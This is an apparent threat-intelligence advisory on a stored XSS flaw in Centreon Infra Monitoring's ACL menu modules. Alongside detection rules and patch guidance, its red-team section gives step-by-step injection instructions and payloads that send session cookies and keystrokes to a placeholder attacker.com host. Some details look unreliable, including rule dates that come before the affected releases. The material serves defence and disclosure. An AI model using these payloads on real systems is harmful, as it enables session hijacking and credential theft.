CVE-2025-13056

Executive Summary

CVE-2025-13056 is a stored Cross-Site Scripting (XSS) vulnerability in Centreon Infra Monitoring, specifically within the Administration ACL menu configuration modules. This flaw allows an authenticated attacker with high privileges to inject malicious scripts into the web interface, which are then stored and executed in the browsers of other high-privilege users. The vulnerability affects Centreon Infra Monitoring versions from 25.10.0 before 25.10.2, from 24.10.0 before 24.10.15, and from 24.04.0 before 24.04.19. The CVSS score is 6.8 (Medium), and the EPSS probability is 0.0%, indicating a low likelihood of exploitation in the wild. However, given the high privileges required and the potential for lateral movement or privilege escalation, this vulnerability should be prioritized for patching.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a web application vulnerability in the Centreon Infra Monitoring software, which is typically deployed as a standalone application or within a containerized environment.

CVSS Breakdown & Threat Level

• CVSS Score: 6.8 (Medium)
• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
• Privileges Required (PR): High (H) – The attacker must have high privileges (e.g., administrator) to access the ACL menu.
• User Interaction (UI): Required (R) – The victim must interact with the malicious content (e.g., view the ACL configuration page).
• Scope (S): Unchanged (U) – The impact is confined to the vulnerable component.
• Confidentiality (C): High (H) – Successful exploitation could lead to disclosure of sensitive data.
• Integrity (I): High (H) – The attacker could modify data or execute actions on behalf of the victim.
• Availability (A): High (H) – The attacker could potentially disrupt service availability.

Threat Level: Medium. While the CVSS score is moderate, the stored XSS nature and the high privileges required make it a significant risk for organizations using Centreon for critical infrastructure monitoring.

Deep Dive & Mechanics

The vulnerability resides in the Administration ACL menu configuration modules of Centreon Infra Monitoring. The application fails to properly neutralize user-supplied input when generating web pages. An attacker with high privileges (e.g., an administrator) can inject malicious JavaScript code into the ACL menu configuration fields (e.g., menu names, descriptions, or other text inputs). This injected code is then stored in the database and executed in the browsers of other high-privilege users who view the affected ACL configuration pages.

The attack flow is as follows:

1. An authenticated attacker with high privileges navigates to the Administration > ACL > Menu configuration section.
2. The attacker injects a malicious payload (e.g., <script>alert('XSS')</script>) into a text field that is not properly sanitized.
3. The payload is stored in the database.
4. When another high-privilege user (e.g., another administrator) views the same ACL configuration page, the payload is executed in their browser.
5. The attacker can then steal session cookies, perform actions on behalf of the victim, or deface the interface.

The root cause is improper input validation and output encoding. The application likely uses a templating engine that does not escape HTML entities by default, or the developers have explicitly disabled escaping for certain fields.

Vulnerable vs. Patched Code

The exact code changes are not publicly available, but based on the vulnerability description, the fix likely involves:

• Vulnerable Code: The application directly outputs user input without sanitization or encoding.

  // Vulnerable example (pseudo-code)
  echo "<td>" . $menu_name . "</td>";
  

• Patched Code: The application properly encodes output using functions like htmlspecialchars() or a templating engine's auto-escaping feature.

  // Patched example (pseudo-code)
  echo "<td>" . htmlspecialchars($menu_name, ENT_QUOTES, 'UTF-8') . "</td>";
  

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Access to a Centreon Infra Monitoring instance (version 24.04.0 to 24.04.18, 24.10.0 to 24.10.14, or 25.10.0 to 25.10.1).
• High-privilege credentials (e.g., administrator).

Steps:

1. Log in to Centreon as an administrator.
2. Navigate to Administration > ACL > Menu Configuration.
3. Create a new menu or edit an existing one.
4. In the "Menu Name" or "Description" field, inject a payload such as:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the configuration.
6. Wait for another administrator to view the same ACL menu configuration page.
7. The victim's browser will execute the script, sending their session cookie to the attacker's server.

Alternative Payloads:

• Session hijacking: <script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>
• Keylogging: <script>document.onkeypress=function(e){fetch('https://attacker.com/key?k='+e.key)}</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual HTTP requests to /centreon/api/ or /centreon/main.php with parameters containing <script> or other HTML tags.
• Look for anomalies in the ACL menu configuration logs (e.g., sudden changes by high-privilege users).
• Use web application firewalls (WAF) to block common XSS payloads.

Mitigation:

• Immediately upgrade to patched versions: 25.10.2, 24.10.15, or 24.04.19.
• If patching is not possible, restrict access to the ACL menu configuration to only essential personnel.
• Implement Content Security Policy (CSP) headers to mitigate the impact of XSS.
• Enable input validation and output encoding in custom code.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Outbound HTTP requests to unknown or suspicious domains from the Centreon server.
  • HTTP requests containing <script> tags in the menu_name or description parameters.
• Host IOCs:
  • Unusual entries in the Centreon database acl_menu table with HTML/JavaScript content.
  • Modified files in the Centreon web root (e.g., /usr/share/centreon/www/).
• Log IOCs:
  • Log entries showing creation or modification of ACL menus by unexpected users.
  • Web server logs showing requests with XSS payloads in the query string or POST body.

Detection Engineering

YARA Rule

rule CVE_2025_13056_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Centreon ACL menu configuration"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-13056"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /on\w+\s*=\s*["']?[^"']*["']?/i
        $xss3 = /javascript\s*:/i
    condition:
        any of them
}

Sigma Rule

title: Centreon Stored XSS in ACL Menu Configuration
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-13056 by injecting XSS payloads into ACL menu configuration.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-13056
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/centreon/main.php'
        cs-uri-query|contains: 'p=50101'
        cs-uri-query|contains: 'o=c'
    keywords:
        - '<script'
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in menu names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-13056 Centreon Stored XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/centreon/main.php"; http_uri;
    content:"p=50101"; http_uri;
    content:"o=c"; http_uri;
    pcre:"/<script[^>]*>.*<\/script>/i";
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Patch: Upgrade Centreon Infra Monitoring to version 25.10.2, 24.10.15, or 24.04.19.
2. Workaround: If patching is not possible, restrict access to the ACL menu configuration to only trusted administrators. Use a WAF to block common XSS patterns.
3. Audit: Review recent changes to ACL menu configurations for signs of exploitation.

Long-term Measures:

• Implement a Content Security Policy (CSP) with script-src 'self' to prevent inline script execution.
• Enable automatic output encoding in the application's templating engine.
• Conduct regular security training for administrators on the risks of XSS.
• Perform periodic vulnerability scans and penetration tests.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valters.it.